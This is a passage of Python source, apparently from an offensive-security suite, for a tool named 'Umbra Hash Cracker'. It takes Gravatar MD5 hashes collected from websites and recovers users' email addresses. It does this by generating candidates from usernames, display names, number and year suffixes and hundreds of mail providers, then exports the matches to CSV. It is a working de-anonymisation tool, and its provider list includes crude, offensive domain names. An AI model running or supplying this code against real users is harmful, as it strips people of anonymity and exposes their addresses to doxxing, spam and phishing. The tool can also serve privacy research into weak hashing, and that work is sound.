"sa": ["yahoo.sa", "hotmail.sa"],
|
||||||
|
"za": ["mweb.co.za", "telkomsa.net", "vodamail.co.za", "yahoo.co.za",
|
||||||
|
"webmail.co.za"],
|
||||||
|
"eg": ["yahoo.com.eg", "hotmail.com.eg"],
|
||||||
|
"ng": ["yahoo.com.ng"],
|
||||||
|
"ke": ["yahoo.co.ke"],
|
||||||
|
"tr": ["yahoo.com.tr", "hotmail.com.tr", "mynet.com", "superonline.com"],
|
||||||
|
}
|
||||||
|
|
||||||
|
# Flatten all providers into one list
|
||||||
|
ALL_PROVIDERS = list(MAJOR_PROVIDERS)
|
||||||
|
for region_providers in REGIONAL_PROVIDERS.values():
|
||||||
|
ALL_PROVIDERS.extend(region_providers)
|
||||||
|
ALL_PROVIDERS = list(set(ALL_PROVIDERS)) # Dedupe
|
||||||
|
ALL_PROVIDERS.sort()
|
||||||
|
|
||||||
|
# Additional disposable / tech providers
|
||||||
|
TECH_PROVIDERS = [
|
||||||
|
"protonmail.ch", "tutanota.de", "tutamail.com", "keemail.me",
|
||||||
|
"disroot.org", "riseup.net", "autistici.org", "cock.li",
|
||||||
|
"airmail.cc", "420blaze.it", "national.shitposting.agency",
|
||||||
|
"memeware.net", "horsefucker.org", "waifu.club", "getbackinthe.kitchen",
|
||||||
|
"wants.dickinthe.us", "goat.si", "cocaine.ninja",
|
||||||
|
]
|
||||||
|
|
||||||
|
ALL_PROVIDERS.extend(TECH_PROVIDERS)
|
||||||
|
ALL_PROVIDERS = sorted(set(ALL_PROVIDERS))
|
||||||
|
|
||||||
|
# ─── Database ─────────────────────────────────────────────────────────────────
|
||||||
|
def init_db(path="um-crack.db"):
|
||||||
|
conn = sqlite3.connect(path, check_same_thread=False)
|
||||||
|
conn.row_factory = sqlite3.Row
|
||||||
|
conn.execute("PRAGMA journal_mode=WAL")
|
||||||
|
conn.execute("PRAGMA busy_timeout=5000")
|
||||||
|
conn.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS hashes (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
hash TEXT UNIQUE NOT NULL,
|
||||||
|
domain TEXT DEFAULT '',
|
||||||
|
username TEXT DEFAULT '',
|
||||||
|
display_name TEXT DEFAULT '',
|
||||||
|
user_id INTEGER DEFAULT 0,
|
||||||
|
cracked_email TEXT DEFAULT '',
|
||||||
|
crack_method TEXT DEFAULT '',
|
||||||
|
crack_time_ms INTEGER DEFAULT 0,
|
||||||
|
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
cracked_at DATETIME
|
||||||
|
)
|
||||||
|
""")
|
||||||
|
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_hash ON hashes(hash)")
|
||||||
|
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_cracked ON hashes(cracked_email)")
|
||||||
|
conn.commit()
|
||||||
|
return conn
|
||||||
|
|
||||||
|
def import_from_hash_db(conn, hash_db_path):
|
||||||
|
"""Import hashes from a um-hash.db database."""
|
||||||
|
if not os.path.exists(hash_db_path):
|
||||||
|
return 0
|
||||||
|
src = sqlite3.connect(hash_db_path)
|
||||||
|
src.row_factory = sqlite3.Row
|
||||||
|
rows = src.execute("SELECT hash, domain, username, display_name, user_id FROM hashes").fetchall()
|
||||||
|
count = 0
|
||||||
|
for r in rows:
|
||||||
|
try:
|
||||||
|
conn.execute("""
|
||||||
|
INSERT INTO hashes (hash, domain, username, display_name, user_id)
|
||||||
|
VALUES (?, ?, ?, ?, ?)
|
||||||
|
ON CONFLICT(hash) DO UPDATE SET
|
||||||
|
domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END,
|
||||||
|
username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END,
|
||||||
|
display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END,
|
||||||
|
user_id = CASE WHEN excluded.user_id > 0 THEN excluded.user_id ELSE user_id END
|
||||||
|
""", (r["hash"], r["domain"], r["username"], r["display_name"], r["user_id"]))
|
||||||
|
count += 1
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
conn.commit()
|
||||||
|
src.close()
|
||||||
|
return count
|
||||||
|
|
||||||
|
def import_hashes_from_file(conn, filepath):
|
||||||
|
"""Import raw hashes from a text file (one hash per line)."""
|
||||||
|
count = 0
|
||||||
|
with open(filepath) as f:
|
||||||
|
for line in f:
|
||||||
|
h = line.strip().lower()
|
||||||
|
if re.match(r'^[a-f0-9]{32}$', h):
|
||||||
|
try:
|
||||||
|
conn.execute(
|
||||||
|
"INSERT OR IGNORE INTO hashes (hash) VALUES (?)", (h,))
|
||||||
|
count += 1
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
conn.commit()
|
||||||
|
return count
|
||||||
|
|
||||||
|
# ─── Email Candidate Generation ──────────────────────────────────────────────
|
||||||
|
def normalize_name(name):
|
||||||
|
"""Normalize a display name for email generation."""
|
||||||
|
name = name.lower().strip()
|
||||||
|
name = re.sub(r'[^\w\s.-]', '', name)
|
||||||
|
return name
|
||||||
|
|
||||||
|
def generate_username_variants(username):
|
||||||
|
"""Generate email local-part variants from a username."""
|
||||||
|
if not username:
|
||||||
|
return []
|
||||||
|
u = username.lower().strip()
|
||||||
|
variants = [u]
|
||||||
|
|
||||||
|
# Common separators
|
||||||
|
if "_" in u:
|
||||||
|
variants.append(u.replace("_", "."))
|
||||||
|
variants.append(u.replace("_", ""))
|
||||||
|
variants.append(u.replace("_", "-"))
|
||||||
|
if "." in u:
|
||||||
|
variants.append(u.replace(".", "_"))
|
||||||
|
variants.append(u.replace(".", ""))
|
||||||
|
variants.append(u.replace(".", "-"))
|
||||||
|
if "-" in u:
|
||||||
|
variants.append(u.replace("-", "."))
|
||||||
|
variants.append(u.replace("-", "_"))
|
||||||
|
variants.append(u.replace("-", ""))
|
||||||
|
|
||||||
|
return list(set(variants))
|
||||||
|
|
||||||
|
def generate_name_variants(display_name):
|
||||||
|
"""Generate email local-part variants from a display name."""
|
||||||
|
if not display_name:
|
||||||
|
return []
|
||||||
|
|
||||||
|
name = normalize_name(display_name)
|
||||||
|
parts = name.split()
|
||||||
|
|
||||||
|
if not parts:
|
||||||
|
return []
|
||||||
|
|
||||||
|
variants = set()
|
||||||
|
|
||||||
|
if len(parts) == 1:
|
||||||
|
w = parts[0]
|
||||||
|
variants.add(w)
|
||||||
|
return list(variants)
|
||||||
|
|
||||||
|
first = parts[0]
|
||||||
|
last = parts[-1]
|
||||||
|
middle = parts[1:-1] if len(parts) > 2 else []
|
||||||
|
|
||||||
|
# Basic combinations
|
||||||
|
variants.add(f"{first}{last}")
|
||||||
|
variants.add(f"{first}.{last}")
|
||||||
|
variants.add(f"{first}_{last}")
|
||||||
|
variants.add(f"{first}-{last}")
|
||||||
|
variants.add(f"{last}{first}")
|
||||||
|
variants.add(f"{last}.{first}")
|
||||||
|
variants.add(f"{last}_{first}")
|
||||||
|
variants.add(f"{last}-{first}")
|
||||||
|
|
||||||
|
# Initials
|
||||||
|
variants.add(f"{first[0]}{last}")
|
||||||
|
variants.add(f"{first[0]}.{last}")
|
||||||
|
variants.add(f"{first[0]}_{last}")
|
||||||
|
variants.add(f"{first}{last[0]}")
|
||||||
|
variants.add(f"{first}.{last[0]}")
|
||||||
|
variants.add(f"{first[0]}{last[0]}")
|
||||||
|
|
||||||
|
# First name only, last name only
|
||||||
|
variants.add(first)
|
||||||
|
variants.add(last)
|
||||||
|
|
||||||
|
# With middle initial
|
||||||
|
if middle:
|
||||||
|
mi = middle[0][0]
|
||||||
|
variants.add(f"{first}{mi}{last}")
|
||||||
|
variants.add(f"{first}.{mi}.{last}")
|
||||||
|
variants.add(f"{first}{mi}.{last}")
|
||||||
|
variants.add(f"{first[0]}{mi}{last}")
|
||||||
|
|
||||||
|
# Number suffixes (common patterns)
|
||||||
|
for base in [f"{first}{last}", f"{first}.{last}", first, last]:
|
||||||
|
for suffix in ["1", "2", "12", "13", "21", "22", "23", "69", "77",
|
||||||
|
"88", "99", "00", "01", "07", "11", "123", "321",
|
||||||
|
"007", "666", "777", "888", "999"]:
|
||||||
|
variants.add(f"{base}{suffix}")
|
||||||
|
|
||||||
|
# Year suffixes
|
||||||
|
for base in [f"{first}{last}", f"{first}.{last}"]:
|
||||||
|
for year in range(60, 100):
|
||||||
|
variants.add(f"{base}{year}")
|
||||||
|
for year in range(0, 10):
|
||||||
|
variants.add(f"{base}0{year}")
|
||||||
|
|
||||||
|
return list(variants)
|
||||||
|
|
||||||
|
def generate_domain_variants(domain):
|
||||||
|
"""Generate email local-parts from the website domain."""
|
||||||
|
if not domain:
|
||||||
|
return []
|
||||||
|
variants = set()
|
||||||
|
|
||||||
|
# Strip TLD
|
||||||
|
parts = domain.split(".")
|
||||||
|
if len(parts) >= 2:
|
||||||
|
name = parts[0] # e.g., "example" from "example.com"
|
||||||
|
variants.add(name)
|
||||||
|
variants.add(f"admin")
|
||||||
|
variants.add(f"info")
|
||||||
|
variants.add(f"contact")
|
||||||
|
variants.add(f"support")
|
||||||
|
variants.add(f"hello")
|
||||||
|
variants.add(f"press")
|
||||||
|
variants.add(f"media")
|
||||||
|
variants.add(f"editor")
|
||||||
|
variants.add(f"news")
|
||||||
|
variants.add(f"team")
|
||||||
|
variants.add(f"webmaster")
|
||||||
|
variants.add(f"postmaster")
|
||||||
|
|
||||||
|
return list(variants)
|
||||||
|
|
||||||
|
# ─── Cracking Engine ─────────────────────────────────────────────────────────
|
||||||
|
class Cracker:
|
||||||
|
def __init__(self, conn, providers=None, custom_wordlist=None):
|
||||||
|
self.conn = conn
|
||||||
|
self.providers = providers or ALL_PROVIDERS
|
||||||
|
self.custom_wordlist = custom_wordlist or []
|
||||||
|
self.console = Console()
|
||||||
|
# Stats
|
||||||
|
self.total_hashes = 0
|
||||||
|
self.uncracked = 0
|
||||||
|
self.cracked = 0
|
||||||
|
self.candidates_tested = 0
|
||||||
|
self.start_time = 0
|
||||||
|
self.newly_cracked = []
|
||||||
|
|
||||||
|
def load_hashes(self):
|
||||||
|
"""Load all uncracked hashes into a lookup dict."""
|
||||||
|
rows = self.conn.execute(
|
||||||
|
"SELECT hash, domain, username, display_name FROM hashes WHERE cracked_email = ''"
|
||||||
|
).fetchall()
|
||||||
|
return {r["hash"]: dict(r) for r in rows}
|
||||||
|
|
||||||
|
def check_candidate(self, email, hash_lookup):
|
||||||
|
"""Check if an email's MD5 matches any hash."""
|
||||||
|
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||||
|
if h in hash_lookup:
|
||||||
|
return h, email
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
def crack(self, region_focus=None, use_custom_only=False):
|
||||||
|
"""Run the cracking engine."""
|
||||||
|
self.start_time = time.monotonic()
|
||||||
|
hash_lookup = self.load_hashes()
|
||||||
|
self.total_hashes = len(hash_lookup) + self.conn.execute(
|
||||||
|
"SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||||
|
self.uncracked = len(hash_lookup)
|
||||||
|
self.cracked = 0
|
||||||
|
self.candidates_tested = 0
|
||||||
|
self.newly_cracked = []
|
||||||
|
|
||||||
|
if not hash_lookup:
|
||||||
|
self.console.print("[dim]No uncracked hashes to process.[/]")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Select provider list
|
||||||
|
if use_custom_only:
|
||||||
|
providers = []
|
||||||
|
elif region_focus and region_focus in REGIONAL_PROVIDERS:
|
||||||
|
providers = MAJOR_PROVIDERS + REGIONAL_PROVIDERS[region_focus]
|
||||||
|
else:
|
||||||
|
providers = self.providers
|
||||||
|
|
||||||
|
# Build candidate generators per hash
|
||||||
|
self.console.print(f"[green]Loaded {len(hash_lookup)} uncracked hashes[/]")
|
||||||
|
self.console.print(f"[green]Using {len(providers)} email providers[/]")
|
||||||
|
if self.custom_wordlist:
|
||||||
|
self.console.print(f"[green]Custom wordlist: {len(self.custom_wordlist)} entries[/]")
|
||||||
|
|
||||||
|
with Progress(
|
||||||
|
SpinnerColumn(),
|
||||||
|
TextColumn("[bold green]{task.description}"),
|
||||||
|
BarColumn(bar_width=40),
|
||||||
|
TextColumn("[cyan]{task.fields[stats]}"),
|
||||||
|
TimeElapsedColumn(),
|
||||||
|
console=self.console,
|
||||||
|
) as progress:
|
||||||
|
task_id = progress.add_task("Cracking", total=None, stats="")
|
||||||
|
|
||||||
|
# Phase 1: Username + provider combinations
|
||||||
|
for h, info in list(hash_lookup.items()):
|
||||||
|
username_variants = generate_username_variants(info.get("username", ""))
|
||||||
|
name_variants = generate_name_variants(info.get("display_name", ""))
|
||||||
|
domain_variants = generate_domain_variants(info.get("domain", ""))
|
||||||
|
|
||||||
|
all_local_parts = set(username_variants + name_variants + domain_variants)
|
||||||
|
|
||||||
|
# Also add custom wordlist entries
|
||||||
|
if self.custom_wordlist:
|
||||||
|
all_local_parts.update(self.custom_wordlist)
|
||||||
|
|
||||||
|
for local_part in all_local_parts:
|
||||||
|
if not local_part:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Try domain as email domain first (site-specific emails)
|
||||||
|
site_domain = info.get("domain", "")
|
||||||
|
if site_domain:
|
||||||
|
email = f"{local_part}@{site_domain}"
|
||||||
|
self.candidates_tested += 1
|
||||||
|
matched_hash, matched_email = self.check_candidate(email, hash_lookup)
|
||||||
|
if matched_hash:
|
||||||
|
self._record_crack(matched_hash, matched_email, "domain_match", hash_lookup)
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Try all providers
|
||||||
|
for provider in providers:
|
||||||
|
email = f"{local_part}@{provider}"
|
||||||
|
self.candidates_tested += 1
|
||||||
|
matched_hash, matched_email = self.check_candidate(email, hash_lookup)
|
||||||
|
if matched_hash:
|
||||||
|
self._record_crack(matched_hash, matched_email, "provider_match", hash_lookup)
|
||||||
|
break
|
||||||
|
|
||||||
|
# Update progress periodically
|
||||||
|
if self.candidates_tested % 10000 == 0:
|
||||||
|
elapsed = time.monotonic() - self.start_time
|
||||||
|
rate = self.candidates_tested / elapsed if elapsed > 0 else 0
|
||||||
|
progress.update(task_id,
|
||||||
|
stats=f"Cracked:{self.cracked} | Tested:{self.candidates_tested:,} | {rate:,.0f}/s")
|
||||||
|
|
||||||
|
# Phase 2: Custom wordlist as full emails
|
||||||
|
if self.custom_wordlist:
|
||||||
|
for word in self.custom_wordlist:
|
||||||
|
if "@" in word:
|
||||||
|
self.candidates_tested += 1
|
||||||
|
matched_hash, matched_email = self.check_candidate(word, hash_lookup)
|
||||||
|
if matched_hash:
|
||||||
|
self._record_crack(matched_hash, matched_email, "wordlist", hash_lookup)
|
||||||
|
|
||||||
|
# Phase 3: Common standalone patterns
|
||||||
|
common_names = [
|
||||||
|
"admin", "info", "contact", "support", "test", "user",
|
||||||
|
"demo", "guest", "root", "mail", "email", "office",
|
||||||
|
"help", "sales", "service", "webmaster", "postmaster",
|
||||||
|
"noreply", "no-reply", "newsletter", "feedback",
|
||||||
|
]
|
||||||
|
for name in common_names:
|
||||||
|
for provider in MAJOR_PROVIDERS[:10]:
|
||||||
|
email = f"{name}@{provider}"
|
||||||
|
self.candidates_tested += 1
|
||||||
|
matched_hash, matched_email = self.check_candidate(email, hash_lookup)
|
||||||
|
if matched_hash:
|
||||||
|
self._record_crack(matched_hash, matched_email, "common_pattern", hash_lookup)
|
||||||
|
|
||||||
|
elapsed = time.monotonic() - self.start_time
|
||||||
|
rate = self.candidates_tested / elapsed if elapsed > 0 else 0
|
||||||
|
progress.update(task_id, completed=True,
|
||||||
|
stats=f"Done! Cracked:{self.cracked} | Tested:{self.candidates_tested:,} | {rate:,.0f}/s")
|
||||||
|
|
||||||
|
def _record_crack(self, hash_val, email, method, hash_lookup):
|
||||||
|
"""Record a cracked hash."""
|
||||||
|
elapsed_ms = int((time.monotonic() - self.start_time) * 1000)
|
||||||
|
self.conn.execute("""
|
||||||
|
UPDATE hashes SET cracked_email = ?, crack_method = ?,
|
||||||
|
crack_time_ms = ?, cracked_at = CURRENT_TIMESTAMP
|
||||||
|
WHERE hash = ?
|
||||||
|
""", (email, method, elapsed_ms, hash_val))
|
||||||
|
self.conn.commit()
|
||||||
|
|
||||||
|
info = hash_lookup.pop(hash_val, {})
|
||||||
|
self.cracked += 1
|
||||||
|
self.uncracked -= 1
|
||||||
|
self.newly_cracked.append({
|
||||||
|
"hash": hash_val,
|
||||||
|
"email": email,
|
||||||
|
"method": method,
|
||||||
|
"username": info.get("username", ""),
|
||||||
|
"domain": info.get("domain", ""),
|
||||||
|
})
|
||||||
|
|
||||||
|
self.console.print(
|
||||||
|
f" [bold green]CRACKED[/] {email} "
|
||||||
|
f"[dim](hash: {hash_val[:16]}... user: {info.get('username', '?')} @ {info.get('domain', '?')})[/]"
|
||||||
|
)
|
||||||
|
|
||||||
|
# ─── Dashboard TUI ───────────────────────────────────────────────────────────
|
||||||
|
console = Console()
|
||||||
|
|
||||||
|
MENU_ITEMS = [
|
||||||
|
("1", "Load hashes (.db / .txt)"),
|
||||||
|
("2", "Add custom wordlist"),
|
||||||
|
("3", "Start cracking"),
|
||||||
|
("4", "View cracked"),
|
||||||
|
("5", "View uncracked"),
|
||||||
|
("6", "Export CSV"),
|
||||||
|
("7", "Statistics"),
|
||||||
|
("8", "Verify email"),
|
||||||
|
("9", "Hash an email"),
|
||||||
|
("Q", "Quit"),
|
||||||
|
]
|
||||||
|
|
||||||
|
CRACK_INFO = [
|
||||||
|
f"{len(ALL_PROVIDERS)} email providers",
|
||||||
|
"Pattern-based email recovery",
|
||||||
|
"Cultural naming patterns",
|
||||||
|
"Region-focused cracking",
|
||||||
|
"Custom wordlist support",
|
||||||
|
"Local computation only",
|
||||||
|
]
|
||||||
|
|
||||||
|
def get_db_stats(conn):
|
||||||
|
try:
|
||||||
|
total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0]
|
||||||
|
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||||
|
return f"Loaded: {total:,} | Cracked: {cracked:,} | Uncracked: {total-cracked:,}"
|
||||||
|
except Exception:
|
||||||
|
return "DB: empty"
|
||||||
|
|
||||||
|
def show_results(conn, limit=50):
|
||||||
|
rows = conn.execute("""
|
||||||
|
SELECT hash, domain, username, display_name, cracked_email, crack_method
|
||||||
|
FROM hashes WHERE cracked_email != ''
|
||||||
|
ORDER BY cracked_at DESC LIMIT ?
|
||||||
|
""", (limit,)).fetchall()
|
||||||
|
|
||||||
|
table = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Cracked Hashes[/]")
|
||||||
|
table.add_column("Hash", style="cyan", width=18)
|
||||||
|
table.add_column("Email", style="bold green", max_width=35)
|
||||||
|
table.add_column("Username", style="white", max_width=15)
|
||||||
|
table.add_column("Domain", style="dim", max_width=20)
|
||||||
|
table.add_column("Method", style="yellow", width=16)
|
||||||
|
|
||||||
|
for r in rows:
|
||||||
|
table.add_row(
|
||||||
|
r["hash"][:16] + "...",
|
||||||
|
r["cracked_email"],
|
||||||
|
r["username"] or "-",
|
||||||
|
r["domain"] or "-",
|
||||||
|
r["crack_method"] or "-"
|
||||||
|
)
|
||||||
|
console.print(table)
|
||||||
|
|
||||||
|
def show_uncracked(conn, limit=30):
|
||||||
|
rows = conn.execute("""
|
||||||
|
SELECT hash, domain, username, display_name
|
||||||
|
FROM hashes WHERE cracked_email = ''
|
||||||
|
ORDER BY domain, username LIMIT ?
|
||||||
|
""", (limit,)).fetchall()
|
||||||
|
|
||||||
|
table = Table(box=box.ROUNDED, border_style="yellow", title="[yellow]Uncracked Hashes[/]")
|
||||||
|
table.add_column("Hash", style="cyan", width=34)
|
||||||
|
table.add_column("Domain", style="white", max_width=25)
|
||||||
|
table.add_column("Username", style="dim", max_width=20)
|
||||||
|
table.add_column("Display Name", style="dim", max_width=20)
|
||||||
|
|
||||||
|
for r in rows:
|
||||||
|
table.add_row(r["hash"], r["domain"] or "-",
|
||||||
|
r["username"] or "-", r["display_name"] or "-")
|
||||||
|
console.print(table)
|
||||||
|
|
||||||
|
def show_stats(conn):
|
||||||
|
total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0]
|
||||||
|
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||||
|
uncracked = total - cracked
|
||||||
|
unique_domains = conn.execute("SELECT COUNT(DISTINCT domain) FROM hashes WHERE domain != ''").fetchone()[0]
|
||||||
|
|
||||||
|
# Top cracked providers
|
||||||
|
top_providers = conn.execute("""
|
||||||
|
SELECT SUBSTR(cracked_email, INSTR(cracked_email, '@') + 1) as provider,
|
||||||
|
COUNT(*) as cnt
|
||||||
|
FROM hashes WHERE cracked_email != ''
|
||||||
|
GROUP BY provider ORDER BY cnt DESC LIMIT 10
|
||||||
|
""").fetchall()
|
||||||
|
|
||||||
|
# Top crack methods
|
||||||
|
top_methods = conn.execute("""
|
||||||
|
SELECT crack_method, COUNT(*) as cnt
|
||||||
|
FROM hashes WHERE cracked_email != ''
|
||||||
|
GROUP BY crack_method ORDER BY cnt DESC
|
||||||
|
""").fetchall()
|
||||||
|
|
||||||
|
table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Statistics[/]")
|
||||||
|
table.add_column("Metric", style="bold")
|
||||||
|
table.add_column("Value", justify="right", style="cyan")
|
||||||
|
table.add_row("Total Hashes", str(total))
|
||||||
|
table.add_row("Cracked", f"[bold green]{cracked}[/]")
|
||||||
|
table.add_row("Uncracked", f"[yellow]{uncracked}[/]")
|
||||||
|
table.add_row("Crack Rate", f"{cracked/total*100:.1f}%" if total else "0%")
|
||||||
|
table.add_row("Source Domains", str(unique_domains))
|
||||||
|
table.add_row("Email Providers", str(len(ALL_PROVIDERS)))
|
||||||
|
console.print(table)
|
||||||
|
|
||||||
|
if top_providers:
|
||||||
|
prov_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[{THEME_COLOR}]Top Cracked Providers[/]")
|
||||||
|
prov_table.add_column("Provider", style="green")
|
||||||
|
prov_table.add_column("Count", justify="right", style="cyan")
|
||||||
|
for p in top_providers:
|
||||||
|
prov_table.add_row(p["provider"], str(p["cnt"]))
|
||||||
|
console.print(prov_table)
|
||||||
|
|
||||||
|
if top_methods:
|
||||||
|
meth_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[{THEME_COLOR}]Crack Methods[/]")
|
||||||
|
meth_table.add_column("Method", style="yellow")
|
||||||
|
meth_table.add_column("Count", justify="right", style="cyan")
|
||||||
|
for m in top_methods:
|
||||||
|
meth_table.add_row(m["crack_method"], str(m["cnt"]))
|
||||||
|
console.print(meth_table)
|
||||||
|
|
||||||
|
def export_csv_fn(conn, output="um-crack-export.csv"):
|
||||||
|
cursor = conn.execute("""
|
||||||
|
SELECT hash, domain, username, display_name, cracked_email,
|
||||||
|
crack_method, crack_time_ms, cracked_at
|
||||||
|
FROM hashes WHERE cracked_email != ''
|
||||||
|
ORDER BY domain, cracked_email
|
||||||
|
""")
|
||||||
|
rows = cursor.fetchall()
|
||||||
|
cols = [d[0] for d in cursor.description]
|
||||||
|
|
||||||
|
with open(output, "w", newline="") as f:
|
||||||
|
writer = csv.writer(f)
|
||||||
|
writer.writerow(cols)
|
||||||
|
for r in rows:
|
||||||
|
writer.writerow(list(r))
|
||||||
|
console.print(f"[green]Exported {len(rows)} cracked hashes to {output}[/]")
|
||||||
|
|
||||||
|
def export_all_csv(conn, output="um-crack-all.csv"):
|
||||||
|
cursor = conn.execute("SELECT * FROM hashes ORDER BY domain, hash")
|
||||||
|
rows = cursor.fetchall()
|
||||||
|
cols = [d[0] for d in cursor.description]
|
||||||
|
|
||||||
|
with open(output, "w", newline="") as f:
|
||||||
|
writer = csv.writer(f)
|
||||||
|
writer.writerow(cols)
|
||||||
|
for r in rows:
|
||||||
|
writer.writerow(list(r))
|
||||||
|
console.print(f"[green]Exported all {len(rows)} hashes to {output}[/]")
|
||||||
|
|
||||||
|
def load_wordlist(path):
|
||||||
|
"""Load a custom wordlist for cracking."""
|
||||||
|
words = []
|
||||||
|
with open(path) as f:
|
||||||
|
for line in f:
|
||||||
|
word = line.strip()
|
||||||
|
if word and not word.startswith("#"):
|
||||||
|
words.append(word.lower())
|
||||||
|
return words
|
||||||
|
|
||||||
|
def merge_databases(db_paths, output="um-crack.db"):
|
||||||
|
conn = init_db(output)
|
||||||
|
for path in db_paths:
|
||||||
|
if not os.path.exists(path):
|
||||||
|
continue
|
||||||
|
src = sqlite3.connect(path)
|
||||||
|
src.row_factory = sqlite3.Row
|
||||||
|
for r in src.execute("SELECT * FROM hashes").fetchall():
|
||||||
|
try:
|
||||||
|
conn.execute("""
|
||||||
|
INSERT INTO hashes (hash, domain, username, display_name, user_id,
|
||||||
|
cracked_email, crack_method, crack_time_ms, cracked_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
|
ON CONFLICT(hash) DO UPDATE SET
|
||||||
|
domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END,
|
||||||
|
username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END,
|
||||||
|
display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END,
|
||||||
|
user_id = CASE WHEN excluded.user_id > 0 THEN excluded.user_id ELSE user_id END,
|
||||||
|
cracked_email = CASE WHEN excluded.cracked_email != '' THEN excluded.cracked_email ELSE cracked_email END,
|
||||||
|
crack_method = CASE WHEN excluded.crack_method != '' THEN excluded.crack_method ELSE crack_method END,
|
||||||
|
cracked_at = CASE WHEN excluded.cracked_at IS NOT NULL THEN excluded.cracked_at ELSE cracked_at END
|
||||||
|
""", (r["hash"], r["domain"], r["username"], r["display_name"],
|
||||||
|
r["user_id"], r["cracked_email"], r["crack_method"],
|
||||||
|
r["crack_time_ms"], r["cracked_at"]))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
src.close()
|
||||||
|
console.print(f"[dim]Merged: {path}[/dim]")
|
||||||
|
conn.commit()
|
||||||
|
return conn
|
||||||
|
|
||||||
|
# ─── CLI ──────────────────────────────────────────────────────────────────────
|
||||||
|
@click.group(invoke_without_command=True)
|
||||||
|
@click.option("--db", default="um-crack.db", help="Database file path")
|
||||||
|
@click.option("--engagement", "-E", default=None, help="Engagement name for organized output")
|
||||||
|
@click.option("--scope", "scope_file", default=None, help="Scope file to restrict targets")
|
||||||
|
@click.pass_context
|
||||||
|
def cli(ctx, db, engagement, scope_file):
|
||||||
|
"""Umbra Hash Cracker — Pattern-based email recovery from Gravatar hashes."""
|
||||||
|
ctx.ensure_object(dict)
|
||||||
|
# Env var fallback
|
||||||
|
engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "")
|
||||||
|
scope_file = scope_file or os.environ.get("UMBRA_SCOPE", "")
|
||||||
|
scope = []
|
||||||
|
if engagement:
|
||||||
|
create_engagement(engagement)
|
||||||
|
db = get_engagement_db_path(engagement, TOOL_NAME)
|
||||||
|
if scope_file:
|
||||||
|
scope = load_scope(scope_file)
|
||||||
|
ctx.obj["db"] = db
|
||||||
|
ctx.obj["engagement"] = engagement
|
||||||
|
ctx.obj["scope"] = scope
|
||||||
|
# Ops hook
|
||||||
|
hook = get_ops_hook(TOOL_NAME, engagement)
|
||||||
|
ctx.obj["hook"] = hook
|
||||||
|
if hook:
|
||||||
|
hook.register()
|
||||||
|
if ctx.invoked_subcommand is None:
|
||||||
|
interactive_menu(ctx)
|
||||||
|
|
||||||
|
@cli.command("load")
|
||||||
|
@click.argument("source")
|
||||||
|
@click.pass_context
|
||||||
|
def load_cmd(ctx, source):
|
||||||
|
"""Load hashes from a um-hash.db or text file."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
|
||||||
|
if source.endswith(".db"):
|
||||||
|
count = import_from_hash_db(conn, source)
|
||||||
|
console.print(f"[green]Imported {count} hashes from {source}[/]")
|
||||||
|
else:
|
||||||
|
count = import_hashes_from_file(conn, source)
|
||||||
|
console.print(f"[green]Imported {count} hashes from {source}[/]")
|
||||||
|
|
||||||
|
show_stats(conn)
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command()
|
||||||
|
@click.option("--region", default=None, help="Focus on region (e.g., us, uk, de, jp, cn)")
|
||||||
|
@click.option("--wordlist", default=None, help="Custom wordlist file")
|
||||||
|
@click.option("--providers-only", default=None, help="Comma-separated list of email providers to try")
|
||||||
|
@click.pass_context
|
||||||
|
def crack(ctx, region, wordlist, providers_only):
|
||||||
|
"""Start cracking loaded hashes."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
|
||||||
|
custom_words = load_wordlist(wordlist) if wordlist else []
|
||||||
|
providers = None
|
||||||
|
if providers_only:
|
||||||
|
providers = [p.strip() for p in providers_only.split(",")]
|
||||||
|
|
||||||
|
cracker = Cracker(conn, providers=providers, custom_wordlist=custom_words)
|
||||||
|
cracker.crack(region_focus=region)
|
||||||
|
|
||||||
|
console.print()
|
||||||
|
if cracker.newly_cracked:
|
||||||
|
console.print(f"[bold green]Newly cracked: {len(cracker.newly_cracked)}[/]")
|
||||||
|
show_stats(conn)
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command()
|
||||||
|
@click.pass_context
|
||||||
|
def results(ctx):
|
||||||
|
"""Show cracked hashes."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
show_results(conn, limit=100)
|
||||||
|
show_stats(conn)
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command()
|
||||||
|
@click.pass_context
|
||||||
|
def uncracked(ctx):
|
||||||
|
